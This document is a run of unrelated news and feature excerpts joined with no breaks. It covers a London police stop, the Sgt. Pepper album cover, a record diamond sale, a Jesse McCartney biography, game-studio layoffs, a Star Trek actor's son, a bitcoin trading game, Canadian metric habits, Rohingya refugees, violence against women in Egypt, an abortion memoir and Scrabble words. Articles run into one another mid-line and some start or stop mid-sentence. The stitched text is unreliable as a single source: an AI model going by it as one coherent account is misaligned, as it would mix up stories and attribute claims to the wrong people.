Police confirmed they had received a formal complaint on Saturday over the incident, which took place in north London on Friday afternoon.
“The footage continues to be subject to an investigation by officers from the directorate of professional standards and the driver of the car has been spoken to by these officers,” Scotland Yard said.
“Although the investigation is in its early stages, it has been established that the officers stopped the vehicle based on information relating to a man who is of interest to police. On conclusion of the incident the officers identified that the driver was not the man in question and he was not arrested.”As the definitive snapshot of ‘60s pop culture (taken on March 30, 1967 by Michael Cooper at Chelsea manor Photo Studios), artist Peter Blake’s Sgt. Pepper cover was unlike anything the world had ever seen. The result was a collage bursting with color, texture, intellectual diversity, comedy, tragedy and time compressed. Even today, shrunk down to jewel case dimensions, the iconic design captures the eye and the imagination. And it came with a free cardboard mustache.
“In my mind I was making a piece of art rather than an album cover,” Blake said. “It was almost a piece of theater design.”
It was Blake’s concept to assemble what he called “a magical crowd” around the band. “I offered the idea that if they had just played a concert in the park, the cover could be a photograph of them with the group who had watched the concert,” he said. “If we did this by using cardboard cut-outs, it could be whomever they wanted.”
Fred Astaire was pleased. Mae West was aghast that she would be a member of a lonely hearts club. Shirley Temple asked to hear the finished album before she agreed.
Despite Paul McCartney’s assurance to Blake and EMI that the cover stars of Sgt. Pepper would “love it and do anything to please us,” permissions had to be obtained for the most famous class photo of all time.
It was a headache for manager Brian Epstein’s office, but their PR efforts paid off; the only holdout, Bowery Boy Leo Gorcey, insisted on a $400 fee and was promptly airbrushed out of history.
Each Beatle—excepting the go-along-to-get-along Ringo Starr—offered suggestions on who should be pictured in the crowd behind them. Some of the inclusions are whimsical or tongue-in-cheek, and a few actually came from art director Robert Fraser and Blake. However, several of the “Club” members were very important to the Beatles’ lives and art.
LEWIS CARROLL
Carroll’s surreal wordplay is echoed in the Beatles’ stream-of-consciousness verse during the Sgt. Pepper period, particularly that of John Lennon. His “I Am the Walrus” was a direct reference to Carroll’s poem “The Walrus and the Carpenter.”
SRI PARAMAHANSA YOGANANDA
George Harrison’s cover subject choices were mostly Indian holy men, including this yogi and guru who was instrumental in bringing meditation and yoga to the West. Friend and sitar teacher Ravi Shankar had given Harrison a copy of Yogananda’s book Autobiography of a Yogi in 1966, and its influence on the spiritually searching Beatle was profound.
BOB DYLAN
Although his debut album had been released only five years previous, Dylan was already a giant figure in the minds of his fans—including the Beatles. Everything they had written since the Rubber Soul era carried a touch of Dylan’s influence, if only in the way he opened up the possibilities of rock lyrics to subjects other than boy-meets-girl.
STUART SUTCLIFFE
The original “fifth Beatle,” Sutcliffe was a talented painter who played bass for the group before leaving to pursue a promising career as a visual artist—one that came to a premature end when he died from a brain hemorrhage in 1962 at age 21. Lennon, his closest friend in the band, asked to include him on the Sgt. Pepper’s cover. Yoko Ono has said that hardly a day went by when her husband did not mention Sutcliffe’s name.
KARLHEINZ STOCKHAUSEN
The 20th-century German modern composer’s pioneering electronic work led McCartney (who chose him for the cover) to begin conducting his own experiments, which produced innovative sounds like the eerie looped effects on 1966’s “Tomorrow Never Knows.”
MARLON BRANDO
The legendary actor’s turn as a rebellious biker in 1953’s The Wild One was a touchstone for ‘50s teenagers like the Beatles, perhaps even more than they consciously knew. The group named itself in honor of Buddy Holly’s Crickets—but in the Beatles Anthology documentary, McCartney recounts seeing The Wild One again several years ago and noticing for the first time that one of the movie’s motorcycle gangs is called “The Beetles.”
—By Bill DeMain
From “40 Years in the Life of Sgt. Pepper”
Performing Songwriter Issue 103, July/August 2007
Category: In Case You Haven't HeardLONDON: British jeweller Graff said on Tuesday it has purchased the world’s largest uncut diamond — roughly the size of a tennis ball — for $53 million (44.5 million euros).
Canadian miner Lucara Diamond sold to Graff the 1,109-carat gem, the Lesedi La Rona, which was found in Botswana’s Karowe mine in late 2015.
“We are thrilled and honoured to become the new custodians of this incredible diamond,” said company chairman, Laurence Graff, in a statement.
“The stone will tell us its story, it will dictate how it wants to be cut, and we will take the utmost care to respect its exceptional properties.” Lucara confirmed the hefty price tag in a statement issued in Vancouver.
“The discovery of the Lesedi La Rona was a company defining event for Lucara,” said William Lamb, president and chief executive of Lucara.
“It solidified the amazing potential and rareness of the diamonds recovered at the Karowe mine.” The rough diamond had previously failed to meet its reserve price of more than $70 million at a Sotheby’s auction in 2016.
Graff is already the owner of a 373-carat diamond, which was bought earlier this year and formed part of the original stone.
Lesedi La Rona means “our light” in Botswana’s Tswana language. It could be cut into smaller gems for jewellery or left whole in a private collection.
Published in Dawn, September 27th, 20171999–2002: Dream Street Edit
In 1999, McCartney joined the American pop boy band Dream Street, and was a member until 2002. He has described the experience as a good "stepping stone" for his solo career.[4] The group earned a gold record with their debut CD. At fifteen, he began work on a solo career with a local band, featuring musicians Dillon Kondor (guitar), Peter Chema (bass), Katie Spencer (keyboards), Alex Russeku (drums), Karina LaGravinese (background vocals), Sharisse Francisco (background vocals), and under the management of Ginger McCartney and Sherry Goffin Kondor, who co-produced his first album, Beautiful Soul.
McCartney released his first solo EP in July 2003. The album featured three songs: "Beautiful Soul", "Don't You", "Why Don't You Kiss Her". In 2004, he performed a duet with Anne Hathaway, "Don't Go Breaking My Heart", which is featured on the Ella Enchanted soundtrack.
2004–2006: Beautiful Soul and Right Where You Want Me Edit
McCartney's debut solo album, Beautiful Soul, which was two years in the making, was released on September 28, 2004, in the United States and over a year later in Europe.[5] He categorized it as a "pop record" with twists of urban.[6] The album featured four songs that he co-wrote.[7] Beautiful Soul reached number 15 on the Billboard 200.[8] The album has been certified platinum by the Recording Industry Association of America, denoting over one million units of shipment to US retailers; it is his highest-certified album as of early 2009.[9] By mid-2006, the album had sold more than 1.5 million copies.[7] The album's lead single of the same name reached number 16 on the Billboard Hot 100.[8] McCartney was one of the artists to win multiple awards at the 2005 Teen Choice Awards, including Choice Crossover Artist, Choice Male Artist and Choice Breakout, Male.[10] The following year, he won Favorite Male Singer at the Nickelodeon Kids' Choice Awards.[7]
His first headlining tour, also named Beautiful Soul, began on May 2, 2005 at the Crest Theatre in Sacramento, California.[6] The United States portion of the tour spanned 56 stops, ending on September 10, 2005 at the Madera District County Fair in Madera, California. In the fall of 2005, McCartney toured Australia, and opened for the Backstreet Boys in Europe in the summer of 2005. His July 9 performance at California's Great America in Santa Clara, California was recorded, released as Live: The Beautiful Soul Tour in November 2005.[5]
After the filming of Keith wrapped, McCartney began working on his second album, Right Where You Want Me, co-writing all but one of the songs featured in it.[7][11] Right Where You Want Me is more mature than his debut, reflecting his musical and personal growth since he recorded his debut album at age 15.[5] Released by Hollywood Records on September 19, 2006, the album reached number 14 on the Billboard 200.[8] The lead single of the album, "Right Where You Want Me", began receiving airplay on July 11, 2006. Although he did not launch a full tour, he did various promotional shows in Italy and the United States.
Relationship with Disney
He has contributed to numerous Disney soundtracks including Disneymania 2, Radio Disney Jingle Jams, A Cinderella Story, That's So Raven, Stuck in the Suburbs, Lizzie McGuire Total Party!, Disneymania 3, Sydney White, Radio Disney Jams, Vol. 7, Radio Disney Jams, Vol. 8, DisneyMania 4, Hannah Montana, Radio Disney: Party Jams, That's So Raven Too!, Radio Disney Jams, Vol. 9, Radio Disney Jams, Vol. 11, and The Princess Diaries 2: Royal Engagement.
McCartney also appeared on the Disney Channel teen sitcoms The Suite Life of Zack & Cody and Hannah Montana. He also voices 'Terence' in the Tinker Bell franchise.
2007–2009: Songwriting and Departure Edit
In the fall of 2007, McCartney co-wrote the hit song "Bleeding Love" with Ryan Tedder of OneRepublic, produced by McCartney and Tedder for McCartney's third album, but gave it away to British singer Leona Lewis for her debut album, Spirit. The song was nominated for Record of the Year at the 2009 Grammy Awards.[12] McCartney recorded his own version, which was released on some editions of his Departure album.
McCartney released his third album, Departure, on May 20, 2008 in the United States and Canada. Musically, it is a departure from his early works, showcasing more mature themes.[13] The album has reached number 14 on the Billboard 200.[8]
The album's lead single, "Leavin'", was released in March 2008, and reached number 10 on the Billboard Hot 100, giving McCartney his highest-charting single to date.[8] The single was certified platinum by the RIAA, selling over two million downloads on iTunes, becoming McCartney's highest-certified single as of early 2009.[9] The second single, "It's Over", was released on August 26, 2008, and reached #62 on the Hot 100. McCartney promoted Departure on a co-headlining tour with Jordin Sparks, which began in August 2008 and ended in September. He also did solo shows at theaters and small venues to support the album while on tour with Sparks. Sparks also approached him to write some material for her.[14]
McCartney re-released Departure on April 7, 2009. The re-release, Departure: Recharged, featured four new songs: "Body Language", "Oxygen", "Crash & Burn" and "In My Veins". The re-release also features a remix of "How Do You Sleep?" with rapper-actor Ludacris. The third single from the album was released from the re-release and was the remix of "How Do You Sleep?". It was much more successful than the second single, reaching #26 on the Hot 100, The fourth and final single from the album was also released from the re-release and was a new version of "Body Language" featuring T-Pain. The single reached #35 on the Hot 100.
2010–2015: In Technicolor Edit
The lead single from his fourth studio album Have It All, "Shake", was sent to radio on September 8, 2010 and was released digitally on September 21, 2010. The song peaked at #54 on the Hot 100. On October 18, 2010, it was announced that Have It All would be released in January 2011.[15] On November 30, it was announced that the album release would be pushed up to December 28, 2010, the Tuesday following Christmas. On December 3, 2010, McCartney announced through his Facebook page that he pushed the release date for the album back to early 2011. On April 7, 2011, McCartney responded to a question on his Twitter page about the delay, saying "The Release of Have It All has been put on hold until we hear about the outcome of Locke & Key", the television series in which he had a lead role.[16] On November 3, McCartney said via his WhoSay page "2012 is still the magic year for the record to finally come out."[17] On May 6, 2012, McCartney's mother said on Twitter that the replacement of the President of his label, Hollywood Records in January, 2012 is delaying the release of his album.[18] In the March 2013 issue of Glamouholic magazine that he has covered, an exclusive interview was conducted and he confirmed the release of his anticipated fourth studio album, after all the disbandments of his record label, within this year. Have It All, however, would go on to never be officially released.[19]
On May 13, it was confirmed on On Air with Ryan Seacrest that McCartney will be joining the Backstreet Boys & DJ Pauly D on their new tour "In a World Like This" kicking off on August 2, 2013. On August 13, the singer released the lead single "Back Together" from his upcoming album which will be on his new independent label, Eight0Eight Records. He performed it live on the Today show on August 15, 2013. On December 10, 2013, McCartney released a four-song EP titled In Technicolor, Part 1 with the as-yet-untitled album to follow in Spring 2014. He says this album will be an "authentic 70s disco-pop record."[20] On May 6, 2014, McCartney released a new single titled "Superbad" and released the music video soon afterwards.[21]
McCartney's fourth studio album, In Technicolor was released on July 22, 2014.[22]
2018: Upcoming sixth studio album Edit
On March 23, 2018, McCartney announced the release of his new single "Better With You" which would be the lead single of his upcoming album.[23][24] Actress Danielle Campbell appears in the music video as his muse.A large number of employees at 2K Marin, which recently launched the third-person shooter The Bureau: XCOM Declassified, have been laid off, Polygon has learned from sources familiar with the matter.
We've yet to hear the exact number of employees that have been let go in this wave of layoffs, but one source said that a "majority" of the team has been let go. The only developers safe from the layoffs, according to that source, are those who are leaving to join the new Bay Area 2K studio led up by former Gears of War lead and BioShock Infinite producer Rod Fergusson.
Another source told Polygon that they were "100 percent sure" that 2K Marin as we know it is closed.
A 2K representative confirmed that the studio underwent "staff reductions" today.
"We can confirm staff reductions at 2K Marin. While these were difficult decisions, we regularly evaluate our development efforts and have decided to reallocate creative resources. Our goal to create world-class video game titles remains unchanged," the representative explained.
We've reached out to 2K to confirm exactly how many people have been affected, but the representative was unable to provide numbers at the time of comment.
At least one former employee affected by today's layoffs has taken to Twitter to announce their unemployment.Imagine having the set of the original Star Trek series as your own private playground as an eight- or nine-year-old.
Chris Doohan, son of the late James Doohan -- better known as Montgomery "Scotty" Scott, chief engineer on the Starship Enterprise -- doesn't have to imagine it. He lived it back in the 1960s.w
Chris was in Toronto for the introduction of a new series of Canada Post stamps marking the 50th anniversary of the pioneering sci-fi series -- and honouring crew members with Canadian connections, including his dad.
Vancouver-born James Doohan is joined by Quebec-born William Shatner as part of the stamp series.
"My father would often bring my brother and I along with him to the set when the show was shooting," Chris recalled, between bites of a margherita pizza at Toronto's trendy Capocaccia Café. "He would park us in the shuttle craft and tell us to stay put."
Of course "staying put" is a difficult assignment for seven year-old twin boys...and one day they couldn't resist leaving the confines of the shuttle...and going where no child had gone before. As it happened, the day they chose coincided with the shooting of "The Trouble With Tribbles", one of the series' stranger -- and enduringly popular -- episodes.
Tribbles, for those unfamiliar with the species, were small, spherical and cute -- and could reproduce at a prodigious rate. Not an ideal species to have on board a spacecraft with a limited supply of food and oxygen.
Chris and his brother, Montgomery, crept around the set, keeping away from the active shooting, until they came to three tall cabinets with doors just out of reach.
"We were curious to know what was INSIDE," Chris recalls. "So my brother got on my shoulders and slid the cabinet open. Instantly, more than 200 tribbles came tumbling out, nearly burying us. Not only did it scare us, but we knew we would be in big trouble if Dad -- or anyone else -- found out. So we rushed back to the shuttle. Five minutes later Dad appeared... and praised us for being so well-behaved!"
Thirty years later Chris mustered up the courage to tell his dad the real story.
"And he got mad at me," Chris said with a bemused shake of the head. "It was like it had just happened yesterday!"
Vancouver-born James Doohan is joined by Quebec-born William Shatner
as part of the stamp series.
I asked Chris Doohan if he ever saw any evidence of Shatner's self-proclaimed prowess as a lady's man.
"Funny you should mention that. My dad loved to tell the story of how Shatner was incessantly flirting with a member of the production crew. After days and weeks of this, she finally turned to him and said, 'Bill, give it up. If I was to pick anyone, it would be Jim,' pointing to my dad."
James Doohan was more than just an actor and a Star Trek crew member -- he was a real-life war hero and was also central to shaping elements of the series itself. In the Second World War he was a pilot and took part in the D-Day invasion of Normandy (and was hit by six rounds). In the early stages of Star Trek's development, it was Doohan who suggested that the engineer character be Scottish (in part because he reasoned that Scots were good engineers; in part because he knew he could carry off a good Scottish brogue). He also is credited with helping to develop fictional Klingon and Vulcan phrases.
I asked Chris if I could conduct the rest of the interview in Klingon -- for our Klingon readers. He responded with three Klingon words that he assured me were not fit for a family publication.
While tens of thousands of individuals (including my own spouse) say they were inspired by his father to go into engineering, Chris admits his teen dream was to be a rock star. After achieving modest success with a band called "Mudflaps" (and acting in several films and follow-on projects as part of the Star Trek franchise), he has happily settled into a career as a registered vascular technician.
He says he felt no particular pressure to follow in his father's footsteps, nor any of the angst exhibited by some children of celebrities. He says he benefitted from his stardom in terms of meeting people like Leonard Nimoy -- his favourite character, also featured as part of the stamp series.
"And I also get to do things like visit Toronto, a city I haven't set foot in since I was two, more than 50 years ago," he says. And how does he like the Toronto of today?
"I love it. Beautiful architecture -- and I really enjoyed walking around at night, the city was so alive." And not a tribble to be seen.
(Robert Waite is Chair of Canada Post's Stamp Advisory Committee, an unpaid, voluntary position)
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Seventh Continent (7C) is an online digital marketplace where users get to register their own businesses, invest in other companies and trade the markets on the earth's 'Seventh Continent'. The economy is based upon Bitcoin with users able to purchase digital resources such as land, materials, and services, needed for them to create their own products and enterprises. Profits can be reinvested or cashed out to a fiat currency. The creators bill the ecosystem as the world's first skill-based economy simulation exchange in Bitcoin.
When users sign up to the game they are given 7,777 Marks, the internal free currency in the game. With these Marks, users are able to buy land, register a company, and begin trading with other players. In this way everyone who signs up to Seventh Continent is able to enjoy and get used to the game without committing themselves in bitcoin.
The bitcoin funded option, however, means that users can play the game in the same manner, but the profits generated by their digital company in the game are able to be withdrawn from the Seventh Continent ecosystem and into a normal bitcoin wallet.
To register their first company, users select a name (not one already in use on the'six continents'), activity and type of company from a list of options. Initial capital investment from your Seventh Continent funds is inputted alongside the number of shareholders in the business.
To increase the productivity of the business, users are able to purchase efficiency boosters for the company as well as assets such as ‘land' and resources for productions. The end product of the company can be sold on the open market to other Seventh Continent users, based on the market rule of supply and demand.
Users also get access to a 'Hall of Fame' for top players in the game, a list of real estate available, daily market information, and an internal mail system.
There are also profit sharing units for the entire Seventh Continent available for users to invest in. These units give the owner a right to a share of the profits generated by the digital commodities exchange market in Seventh Continent and operate as an investment fund.
Seventh Continent have set out to create an easy to use and intuitive trading exchange where users can immerse themselves in a world of commerce and trade set on the Bitcoin-based'seventh continent.’ By offering users free access to trade in the game initially with the in-house currency ‘Marks,' players get a chance to try the platform out before committing to the profit-making bitcoin side.
To ensure that there is a constant flow and supply of funds in the game, Seventh Continent is partnering with an existing real world brand to sponsor and endorse commodities in the game for trading. Profits from these deals will be reinvested in the game creating a positive sum amount of currency flowing between the players and traders.
Seventh Continent was founded in 2010 by Gregory Harmati. The company is based in the UK and with a second developer team working out of Budapest, Hungary.
Users can register for a free account on the site and can trade in a free currency called the Mark, which they receive 7,777 of upon signing up. To start your own business trading in BTC and to be able to generate bitcoin profits costs from 1 BTC depending on the nature of the company you wish to register. A 0.7 % transaction fee is placed upon all trades in the game.
Users can also earn their own BTC funded rewards for referring new players and members to the game. The referrer can earn up to 0.33 BTC in three steps as their new recruit creates their own Seventh Continent company and takes it up through the creation levels.
Cointelegraph: What inspired you to found Seventh Continent?
Gregory Harmati: The idea of an independent, free market and fair competition without constraints and red tape.
CT: There are now over 2,000 businesses registered on the platform, what are your hopes for 2015?
GH: We hope that Seventh Continent Marketplace wins the trust of Bitcoin enthusiasts and overall Bitcoin users to start an entrepreneurship in Bitcoin, as Seventh Continent Marketplace is the unique opportunity to start a business in Bitcoin.
I have the impression that only a select community is engaged on the Marketplace today; and instead of spreading the gospel, keep the bonanza for themselves. I also hope that those who haven't yet adopted Bitcoin will also join the Marketplace to do business and will become enthusiasts of the digital currency.
CT: How has the popularity of Bitcoin helped a platform like Seventh Continent develop?
GH: I do believe it did help despite the fact that we don't deliver any marketing activity. Bitcoin community is an intelligent one, open for new challenges and opportunities. Seventh Continent is for them, a skill-based Market!
CT: Can you share any exciting upcoming features or future plans with us?
GH: As we did last year, we are planning to organize a new 7 days Trade Rally event for the 7 BTC first prize.
CT: Companies can sponsor their own branded goods in the Seventh Continent world, do you have big plans for this marketing side of the ecosystem?
GH: Yes indeed! Not only will it be profitable for the user entrepreneurs since ad fees will be divided fifty-fifty with operator, but also I could prove to the world that Seventh Continent overcame the zero-sum game paradigm prevailing all existing markets and exchanges today! An idea that is very close to my heart.
As a matter of fact, a zero-sum game is where total losses subtracted from total gains of participants will sum to zero, similar to poker. This environment can be discouraging for many who lose money. However, on Seventh Continent digital products and services will be sponsored by brands, paying a small advertising fee each time an item is sold on the Seventh Continent Market. As a fee is split between the user who sold the item and the operator, the sum of money circulating on the Market will always be higher than the total sum of money invested by the users.Despite Canada’s official move to the metric system more than four decades ago, we still tend to default to Imperial measurements in a number of specific situations and, according to a survey by the Angus Reid Institute, two thirds of Canadians are just fine with that. stock image
How many feet in a litre?
It’s an old joke, and one with a back story that had the potential to make it even less funny than it already is (assuming one has the bad taste to joke about a plane crash).
The tongue-in-cheek query refers to the Gimli Glider — an Air Canada flight that, in July 1983, was forced to make an emergency landing with no engines in Gimli, Man. after its fuel tanks ran dry 41,000 feet (12,500 metres) above northern Ontario.
The cause of the near tragedy — confusion over fuel load calculations during the nation’s switch from Imperial measurement to the metric system.
As a result, the Montreal-to-Edmonton flight took off with less than half the fuel it needed to complete its journey.
We can joke about it now because it ended as that most iconic of non-news stories, “Plane lands safely.”
Everybody was fine and, after what we can only assume was several minutes of abject terror, were left with a great story to tell at cocktail parties — probably over white Russians and tequila sunrises.
It’s been more than 40 years since the switch-over began, and most of us still employ a mix of metric and Imperial to get through our day.
In fact, Canadians toggle back and forth between the two systems in pretty predictable ways, according to a survey conducted earlier this spring by the Angus Reid Institute.
When it comes to height and weight, I’m old school — it’s pounds, feet and inches for me — but with distance, I’m metric all the way. Increments of 10 make infinitely more sense than having to memorize each unit of measurement as a separate entity.
Speeds? Same.
Though I occasionally still hear the old jingle in my head — “30 gives you 50; 50 gives you 80; 60 gives you 100” — that was aired to train drivers to start thinking in km/h instead of mph.
This reminds me of an American on his way to Alaska, who stopped at the tourist information centre in Dawson Creek, where I spent a summer working in 1986.
He commented on how great it was that we had 90-mph speed limits in B.C. He’d been making great time, until we explained the situation to him and suggested he might want to cap it at or near 55.
True story.
I can toggle between cups, teaspoons, tablespoons and millilitres without a second thought. But don’t ask me what an ounce (dry or fluid) looks like.
Outdoor temperatures make sense to me in degrees Celsius, but room and cooking temperatures register best in Fahrenheit.
All of this makes me perfectly average, apparently.
According to the survey, most Canadians (67 per cent) say they are fine with the mix. But, as we learned from recently released census data, most Canadians are old.
I was in elementary and junior high school as many of the changes were being implemented. What we learned in class was mixed with what was practised at home, creating a generation of Imperial-metric mutts.
Today’s youth are somewhat more submersed in metric and future generations will no doubt make the switch completely.
In 2017, only Myanmar, Liberia and the USA continue to cling tenaciously to the Imperial system.
If it were down to a pair of small nations in Asia and Africa, it wouldn’t be an issue, but with our large and influential neighbour among the holdouts, we are often forced to straddle the line between the old and the new — mixing our gallons and grams, our tons and newtons.
That said, we are still miles — or, rather, kilometres — ahead of our American cousins, who think telling drivers their exit is coming up in a 1/4 mile is preferable to breaking it down in hundreds of metres.
These are the selfsame hundred-metre units, mind you, that their athletes train to run, walk, cycle, swim and row, so that they can compete with the rest of the planet.
That’s just one example of why it makes perfect sense for them to abandon their feet and follow in our footsteps.
Yet, they won’t give an inch.
Of course, when they are dragged, kicking and screaming, into the new world — as they inevitably one day will be — we’ll watch and smile knowingly as they muddle through their own decades of metric mutt-hood.Unfortunately, this video cuts off at about 40 minutes here on Full30. For the full version, you will need to watch the YouTube copy here: https://youtu.be/wrx8Ar6bWOw. Sorry!
That being said, we do have some great questions this time around. Specifically:
0:25 - Gain twist rifling, description and application 5:40 - The 6.5mm Arisaka compared to modern 6.5mm cartridges 7:44 - US abandonment of the M1917 Enfield in favor of the 1903 Springfield after WW1 12:02 - Guns I am hyped to get my hands on 14:00 - Guns I have bid on or won at James Julia and Rock Island 15:14 - Would Stoner still use gas impingement today? 20:10 - Modernization of the BAR 23:43 - How & why of military firearms surplus and US dealers thereof 35:46 - What to look for in collectible firearms 38:36 - Camera operators and other FW assistants 39:57 - What killed the rimmed and/or rimfire cartridge 42:00 - Binary trigger systems 44:08 - Rotating barrel pistols today? 45:20 - My biggest surprise |
what starvation does.
In the melee we see Shakin, an elderly woman. Her frail frame is being tossed and buffeted by the fighting crowd. Her grandson does his best to protect her but even he is finding it difficult to stay upright. All hell is breaking loose.
I learn Shakin is 80 years old. She is exhausted by her long, difficult journey across the border from Myanmar into Bangladesh.
I can hardly hear her; her voice is more like a deep gasp for air. She manages to tell me she saw her nephew killed and her home torched.
More than 300,000 Rohingya have fled to Bangladesh in the past few weeks. That's 300,000 destitute people who need food, water, shelter, clothing and aid.
But I have not seen a large-scale international aid presence operating here on the ground. I have a seen a Medecins Sans Frontieres camp. And I have seen the distinctive white 4x4 SUVs with the UN logo emblazoned on the side.
Rohingya refugees trapped by landmines and Burmese soldiers
The only aid distribution I have seen is thrown from passing trucks. It is much-needed food and clothing collected by well-intentioned locals but it reduces the refugees to begging for scraps and fighting among themselves. It is haphazard and uncontrolled.
Only the fittest and strongest will manage to grasp and hold unto what has been jettisoned.
Some volunteers are trying to be more organised.
Muhammad Kapiluddin and his friends are all young professional Bangladeshis who have banded together to bring donations to makeshift camps. The packets they hand out contain paracetamol, puffed rice and other dried foods.
"I haven't seen any international NGOs here. They need to come quickly," he said. "I don't know why they are not here. These people need help."
The plight of the Rohingya refugees might worsen.
Tens of thousands more inside Myanmar are said to be on the move, making their way here to Bangladesh.
That means more hungry mouths to feed - and nobody to feed them.In late November 2013, Egyptian police rounded up 14 female activists in downtown Cairo, including three prominent women who had helped lead the first protests against former President Hosni Mubarak’s regime in 2011. Three years later, the women were still at it, now protesting military trials against civilians and a draconian new law banning public demonstrations without a permit. Following the arrests, the women allege, they were detained for several hours by the police, beaten and sexually abused, and then dumped in the desert outside the city.
The ordeal was the latest episode in an appalling season of violence against women in Egypt. Although mob attacks have been taking place since at least 2005, many Egyptian women say that sexual harassment and assault have worsened in both frequency and severity following the 2011 revolution. Women attending large protests have been gang raped and attacked with sharp instruments, often in what appear to be coordinated assaults on women in large crowds. Cairo-based nongovernmental organizations such as the New Woman Foundation and El Nadeem Center for Rehabilitation of Victims of Violence and Torture provide direct support to the victims of such attacks. But many women are either too afraid or unwilling to come forward to speak about their experiences. A recent poll by the Thomson Reuters Foundation named Egypt the worst place for women to live in the Arab world.
Rising harassment and violence against women in Egypt reflect both long-term trends in government policy and more recent shifts during the country's seesawing post-Mubarak transition. Since the 1970s and 1980s, the Egyptian state has increasingly treated women as second-class citizens. A 1980 amendment to Egypt’s 1971 constitution, passed under President Anwar Sadat, established “principles of Islamic law” as “the principal source of legislation.” The constitution privileged a woman’s “duties toward her family” and her role within Islamic jurisprudence. Women also faced harsher legal penalties for committing adultery. The constitution expressed broader social shifts in Egypt toward religious conservatism, which included attempts by the state to control womenTwo months after we met, his probation ended. Without supervision, he began crushing up OxyContin and sucking the powder into his nose through a rolled-up dollar bill.
On St. Patrick’s Day I stayed after theater class, sewing a corset. Clad in a threadbare flannel shirt, he stopped in to help me clip the bones. I hoped nobody could see the dope in his pinned eyes or the pregnancy in mine. My period was two weeks late.
“If it hasn’t come by April, we’ll take a test,” he whispered.
Several weeks later, after a university doctor delivered the news, he and I lay side-by-side on his bare twin mattress. “I’m not ready to be a father,” he said.
I nodded, planting my head on his chest. I stared at the water-stained ceiling and prayed he would score a lucrative job instead of more OxyContin. I let myself imagine that I could clean up my own act and finish school and we could hire an au pair, and everything would be fine. But I knew it wouldn’t happen that way.
I had promised myself not to tell my parents, but when I called my mother in Kentucky, I burst into tears as soon as she answered the phone. In the background, my father said, “She’s pregnant, isn’t she?” It had been our collective worst nightmare. “Come on home,” my mother sobbed. “We’ll rear the child here.”
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I told her I just couldn’t.
The truth is, I had ambitions. While I adored children and romanticized the idea of one day raising a small brood dressed in elaborate get-ups of my own design, I wanted a family on my terms: happily married with enough money to live well. After college, after graduate school, after I had started a career. There was no fantasy in raising a child alone. In deciding against adoption, I blamed alcohol: the chance that I had already harmed the baby with my drinking.
But my ambivalence remained, and when I quit drinking, again thinking of the baby, my boyfriend was lucid enough to notice. We lay entwined on his secondhand couch one night when he muted the TV.
“You want to have this baby, don’t you?” he said.
“We could call her Jade,” I said. All 11 of my grandmother’s siblings had names starting with J. Mick Jagger had a daughter named Jade. Naming her Jade would be a no-brainer.
“Jade’s pretty,” he said.
“But we can’t go through with it,” I reassured him, reminding myself that we didn’t have the emotional equipment. “It’s better this way.”
In late April, heading to the clinic, he slept in the passenger seat as I fiddled with the radio. Most offices do not allow partners in the room during the procedure, but when I pressed my feet to the stirrups, he was there to knead my shoulders. I dug my fingernails into the nurse’s hand. He and I watched each other instead of the ultrasound machine.
“I’m hot,” I said. “I’m blacking out. Please take off my socks.”
“You’ve got to breathe, honey,” the nurse said.
“Take off her socks!” he hollered.
His support and innate if untraditional sense of duty almost made me think twice about ending the pregnancy. I thought he might have been a nurturing father after all.
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I emerged from the appointment emotionally unscathed, or so I thought. The five-minute procedure had ended my insufferable mélange of nausea, exhaustion and shame. I briefly saw a therapist, troubled that I did not feel guilty.
Soon I started drinking again, was arrested for drunken driving and was fired from three jobs for coming in slurring my words or for showing up late or not at all, while my boyfriend eventually disappeared into heroin. I waited for the countless rehabs to work their institutional magic on him, but they didn’t. Our relationship ended on good but sorrowful terms.
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Not long after we broke up, he met a girl at a music festival, and a couple of years later she gave birth to their child, whom they named Jade, of all things. They managed to stay together during his stints in jail. By now I was following them on Facebook, where they had migrated like just about everyone else.
Meanwhile, I went into treatment, quit drinking and moved to Austin, Tex., for a job. With sobriety and a salary, I couldn’t stop thinking about the baby that wasn’t, a loss somehow made more painful by his baby that was. I spent my workdays browsing photos of his little girl, believing in some twisted respect that I was glimpsing the face of the child I could have had. On lunch breaks, I went home to cry in bed, longing for a paranormal miracle.
By the time I called him, his daughter was about to celebrate her first birthday. He was living at a halfway house in Boston, where my company was flying me for a conference. I harbored a secret motive to find out if he dwelled on the loss as much as I did, so I asked him if he would meet me.
I figured I would bawl in his track-mark-scarred arms. We would plant a tree in remembrance. Then we would raise his (our?) child in my studio apartment.
He came ambling up to the corner on Newbury Street. I waited in a business suit, disappointed that he was not pushing a stroller. Gone was his shaggy brown hair, mischievous smile and weatherworn Grateful Dead jacket. He had turned hip-hop, from his puffy white Adidas to his crooked white cap. His teeth had browned from the drugs.
We sat down for cappuccinos in a fancy cafe where we could afford nothing else. He told me that his ex-girlfriend had recently drained his meager bank account and vanished, leaving her infant behind. He confessed that paramedics had recently resuscitated him after he overdosed in a restaurant bathroom. Rehab followed. Now he scrimped by on construction work. He aspired to save for a deposit on a roomy apartment for him and his child, who was living with his parents.
I felt an urge to run to his parents’ home and cradle his baby in my arms, as if she were the responsibility I had shirked.
“I think a lot about what happened,” he said.
“Me, too.”
He stared ruefully into his steaming mug.
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“But,” I continued, “if I had had that baby, you wouldn’t have Jade.”
Could her name be a coincidence? Maybe when they picked her name, he didn’t realize he was remembering.
“Oh, yeah,” he said, flashing a relieved smile; something was lost, and he got to keep it.
I drew my lips to match his cheery expression even though I felt shorted. I had graduated with honors, seen the first book I edited published with my name in microscopic print, and been accepted to an Ivy League graduate program. I kept trying to secure the next accomplishment that would make my decision worthwhile.
Meanwhile, he got Jade, yet he couldn’t take care of her. An overdosing jailbird father stared back at me, buttering crackers with a silver coffee spoon.
THE heat of summer hung down on our shoulders when we hugged on the bustling street corner. As we parted, I walked up Gloucester Street toward the conference center; he headed toward the pickup truck he’d borrowed from a friend at the halfway house.
In the three years since, he has spent much of his time incarcerated for drug-related offenses. I wish I could share my sobriety, my degree and my career to rent that apartment for his little girl, but reality has finally sunk in: the abortion is mine alone, just like Jade is his.NEW YORK – To Scrabble fanatics, big gifts sometimes come in small packages.
The word “te” as a variant of “ti,” the seventh tone on the musical scale, is a hardworking little gem among 5,000 words added to “The Official Scrabble Players Dictionary,” out Aug. 11 from Merriam-Webster.
The dictionary’s last freshening up was a decade ago. Entries in the forthcoming book that include texter, vlog, bromance, hashtag, dubstep and selfie were mere twinkles on the racks of recreational players.
But it’s the addition of te and three other two-letter words — da, gi and po — that has Robin Pollock Daniel excited. Daniel, a clinical psychologist in Toronto, is a champion of the North American Scrabble Players Association, which has a committee that helps Merriam-Webster track down new, playable words of two to eight letters.
